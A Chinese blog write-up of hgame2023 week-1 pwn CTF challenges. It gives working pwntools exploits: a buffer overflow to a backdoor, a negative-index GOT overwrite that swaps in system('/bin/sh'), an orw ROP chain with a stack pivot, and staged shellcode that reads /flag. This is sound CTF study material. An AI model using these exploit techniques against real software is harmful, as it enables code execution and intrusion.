首页 > 其他分享 >hgame2023

hgame2023

时间:2023-02-15 18:02:26浏览次数:55  
标签:ru p64 libc 标准 base hgame2023 pl

hgame2023 week1

test_nc

nc签到

easy_overflow

image

有后门

pl=b'a'*0x18+p64(0x40117E)
p.sendline(pl)

image

close(1)关闭了标准输出

首先我们要明白什么是标准输出

每个进程都会默认打开3个文件描述符,即0、1、2

其中0代表标准输入流、1代表标准输出流、2代表标准错误流。通常标准输入流对应着键盘的设备文件、标准输出流和错误流对应着显示器的设备文件

在编程中通常使用宏STDIN_FILENO、STDOUT_FILENO和STDERR_FILENO分别来代表0,1,2

而C库提供的标准IO函数,这些函数操作的是文件描述符,是标准输入流、输出流或者错误流,而不是键盘的设备文件和显示器的设备文件。

如果改变了标准输出流和显示器设备文件之间的对应关系,那么可能结果就不会在显示器上

这种情况出现在命令行中使用重定向符号的时候,标准输入、标准输出和标准错误对应的就不是键盘设备文件和显示器设备文件,而是指定的某个普通的文件

执行一个shell命令行时通常会自动打开三个标准文件,即标准输入文件(stdin),通常对应终端的键盘;标准输出文件(stdout)和标准错误输出文件(stderr),这两个文件都对应终端的屏幕。进程将从标准输入文件中得到输入数据,将正常输出数据输出到标准输出文件,而将错误信息送到标准错误文件中。

image

文件IO---标准输入、标准输出和标准错误_xiaofei0859的博客-CSDN博客

image

exec 1>&0_luooofan的博客-CSDN博客_exec 1>&0重定向

但是打本地时这里execv 1>&0​没有重启了标准输出我是不太理解的,0没有指向当前终端吗

image

我们也可以利用exce 1>&2 让flag从标准错误输出中输出出来

1>&2 ​​意思是把标准输出重定向到标准错误,返回值传递给2输出错误通道,如果有定义标准错误重定向到某文件,那么标准输出也重定向到这个文件

(远程这两个都是可以出的)

exce 1>&0

image

image

choose_the_seat

image

我们可以知道每个数组的大小为16,又由于在输⼊ v0 时,程序没有检查下界,所以我们能够造成数组的反向越界

image

image

我们可以修改exit的got表,即将0x404040处的0x401080修改为main函数的地址

ru('one.\n')
sl('-6') # 0x4040A0+16*(-6)=0x404040 [email protected]
ru('name\n')
sl(p64(main_addr))

此处操作的目的就是避免程序的结束,能够不断跳到main函数地址进行布置

image

通过向 got 表中的 setbuf 写⼊⼀个字节,将libc地址泄漏出来

ru('one.\n')
sl('-8')
ru('name\n')
s('1')

libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x8ba31
li('libc_base = '+hex(libc_base))

image

修改puts为system,同时写入/bin/sh

image

ru('one.\n')
sl('-9')
ru('name\n')
sl(b"/bin/sh\x00" + p64(sys))

image

image

exp:

main_addr = elf.sym["vuln"] #0x4012d6
ru('one.\n')
sl('-6')
ru('name\n')
sl(p64(main_addr))

ru('one.\n')
#dbg()
sl('-8')
ru('name\n')
s('1')

libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x8ba31
li('libc_base = '+hex(libc_base))

sys = libc_base + libc.sym['system'] 
li('sys = '+hex(sys))
bin_sh = libc_base + next(libc.search(b'/bin/sh'))

ru('one.\n')
sl('-9')
ru('name\n')
sl(b"/bin/sh\x00" + p64(sys))

itr()

orw

image

开了沙箱,有个0x30大小的溢出空间

image

栈迁移+orw

bss2=bss+0x200
bss4=bss+0x400
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
vuln = elf.sym["vuln"]
read=vuln+0xf
ret=0x40101a
rdi=0x401393
leave_ret=0x4012be


pl=b'a'*0x100+p64(bss2)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln)
ru('task.\n')
sl(pl)
libc_base=uu64('\x7f',6)-libc.sym['puts']
li(hex(libc_base))

open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
pop_rsi_ret = libc_base + libc.search(asm('pop rsi;ret;')).__next__()
pop_rdx_ret = libc_base + 0x0000000000142c92

pl=b'a'*0x100+p64(bss2)+p64(read)
s(pl)

pl = b"/flag\x00\x00\x00"+p64(rdi)+p64(0x404160)+p64(pop_rsi_ret)+p64(0)+p64(open_addr)
pl += p64(rdi)+p64(3)+p64(pop_rsi_ret)+p64(bss4)+p64(pop_rdx_ret)+p64(0x100)+p64(read_addr)
pl += p64(rdi)+p64(1)+p64(pop_rsi_ret)+p64(bss4)+p64(pop_rdx_ret)+p64(0x100)+p64(write_addr)
pl = pl.ljust(0x100,b'a')
pl += p64(0x404160)
pl += p64(leave_ret)
dbg()
s(pl)

itr()

simple_shellcode

保护全开,沙箱禁system

image

image

image

存在可写可执行段,可以构造shellcode送入此处,但read只能读入0x10大小

image

由于程序只执行一次,且可利用空间较小无法构造orw,所以构造read(0,0xcafe0000,0x1000)

下面再读入构造的orw

shellcode = asm("""
 xor eax, eax /* SYS_read */
 xor edi, edi /* 0 */
 mov edx, 0x1000
 mov esi, 0xcafe0000
 syscall
 """)

p.sendafter(b"shellcode:", shellcode)

shellcode = b"\x90" * 0x100
shellcode += asm(shellcraft.open("/flag"))
shellcode += asm(shellcraft.read(3, 0xCAFE0500, 0x500))
shellcode += asm(shellcraft.write(1, 0xCAFE0500, 0x500))

p.send(shellcode)

标签:ru,p64,libc,标准,base,hgame2023,pl
From: https://www.cnblogs.com/shuzM/p/17124140.html

相关文章